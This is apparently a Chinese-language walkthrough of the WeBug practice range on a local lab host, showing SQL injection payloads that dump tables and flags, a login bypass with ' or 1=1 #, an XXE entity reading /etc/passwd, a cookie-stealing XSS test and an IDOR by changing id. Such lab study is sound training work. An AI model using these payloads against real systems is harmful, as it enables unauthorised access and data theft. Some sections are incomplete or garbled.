WeBug-study

 · 2019-10-20 · 次阅读


WeBug靶场

1.显错注入
  首先由于是本地搭建靶场,故无具体Url,这里用本地说明http://192.168.30.133/control/sqlinject/manifest_error.php?id=1,先试试加'。页面提示错误:Invalid query: SELECT * FROM sqlinjection WHERE id = ‘1’’。那么继续id=1’ order by 3#,页面报错。当order by 2时,页面正常,故字段数目为2.
接着直接爆库
payload:id=1’ union select 1,database() %23 database()=webug
爆表:
payload:id=1’ union select 1,table_name from information_schema.tables where table_schema=’webug’ %23
出现了:data_crudenv_listenv_pathflagsqlinjectionuseruser_test
这样看着好恼火,换一种方式查询:
爆表:
payload:id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’webug’ %23
这样就查出来:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
因而可以知道group_concat可以将这些数据按照,分隔开。
接下来爆字段名:(爆flag表)
payload:id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘flag’ and table_schema=’webug’ %23
获得字段:id,flag
最后获取字段内容:
payload:id=1’ union select 1,group_concat(flag) from flag %23
拿下flag.
2.布尔注入

payload:id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘env_list’ and table_schema=’webug’ %23
查出来了:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

payload:id=1’ union select 1,group_concat(delFlag) from env_list %23,flag不在这里面。换个字段:envFlag
出来了:dfafdasfafdsadfa,fdsafsdfa,gfdgdfsdg,dsfasdczxcg,safsafasdfasdf
其中第一道题的flag也在里面,因而试试第二个。这道题感觉自己没有学到东西,因为它与第一道题在一个网页,因而,直接用第一题方法就能查出。故试试其他查询方法:
首先在查错时可以采用id=1’ or 1=1,
或id=1’ or 1=2构造这样的Bool型的语句,看他是否报错。
3.延迟注入
延迟注入寻找注入点采用sleep(),
进入页面后id=1’ and sleep(1) %23,可以发现页面有明显的延迟,故注入点肯定在此。
接下来尝试爆库:
payload:
4.万能密码登陆
由于这个很熟悉了,直接构造payload:’ or 1=1 #
然后密码随便输入就得到了flag.
温习一遍原理:检验的sql语句应当是:
$sql = "SELECT * FROM user WHERE username = '$username' AND password = '$password';
$res = $dbConnect->query($sql);
因而在username框中输入了’ or 1=1 #
那么sql语句就变成了:
$sql = "SELECT * FROM user WHERE username = '' or 1=1 #' AND password = '$password';
很明显这是一个永真的句子,也就是密码随便输入,都可以查询出来是真的。因而也成为了万能密码。
5.XXE注入
进入页面后就是一个登陆,切只让输入用户名,用于本题说了XXE注入,故先学习下XXE,再用BP抓包构造XXE语句。

什么是XXE

  简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
当使用程序为PHP,则可以将libxml_disable_entity_loader设置为true来禁用外部实体,从而起到防御的目的。

哪些Web应用存在XXE漏洞呢?

  如果应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登陆服务甚至是RSS)的,那么就很有可能受到XXE的攻击。XXE是一种非常漏洞。

基本利用

  通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换言之,XXE是一种从本地到达各种服务器的方法。其在一定程度上也可能帮助攻击这绕过防火墙规则过滤或身份验证检查。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<!DOCTYPE 文件名[
<!ENTITY实体名"实体内容">]>--文档类型定义(DTD)
<元素名称 category="属性">
文本或其他元素
</元素名称>

以下为一个简单的XML代码POST请求:

POST /vulerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9.*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
    <core id="test">
    <author>John,Doe</author>
    <title>I love XML</title>
    <category>Computer</category>
    <price>9.99</price>
</core>
</catalog>```
还可以包含恶意代码
```<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file://etc/passwd">]>```
以上例子,服务器会给与响应,但大部分情况,不会向攻击者的浏览器或代理返回任何响应。这种情况,可以使用Blind XXE漏洞来构建。
7.反射型XSS
进入页面后,在http://192.168.30.133/control/xss/xss_1.php?id="在哪里可以注入呢",然后F12找到ID对应的位置,确认是否可以XSS。
```

然后再使用这一句,让Id=它,测试XSS是否有效.发现页面直接弹窗,没有过滤任何限制,接着猜测flag在cookie中,于是构造:

<script>(这句不要)alert('document.cookie')(这句不要)</script>```
拿下flag.
8.越权查看admin
进入页面后,首先输入我们的普通用户:aaaaa密码asdfsadf,然后进去后提示我是:aaaaa
可以看到Url上面id=2,那么极有可能数据都存储在一块的话,直接修改id=1,就越权看到了admin的内容:我是admin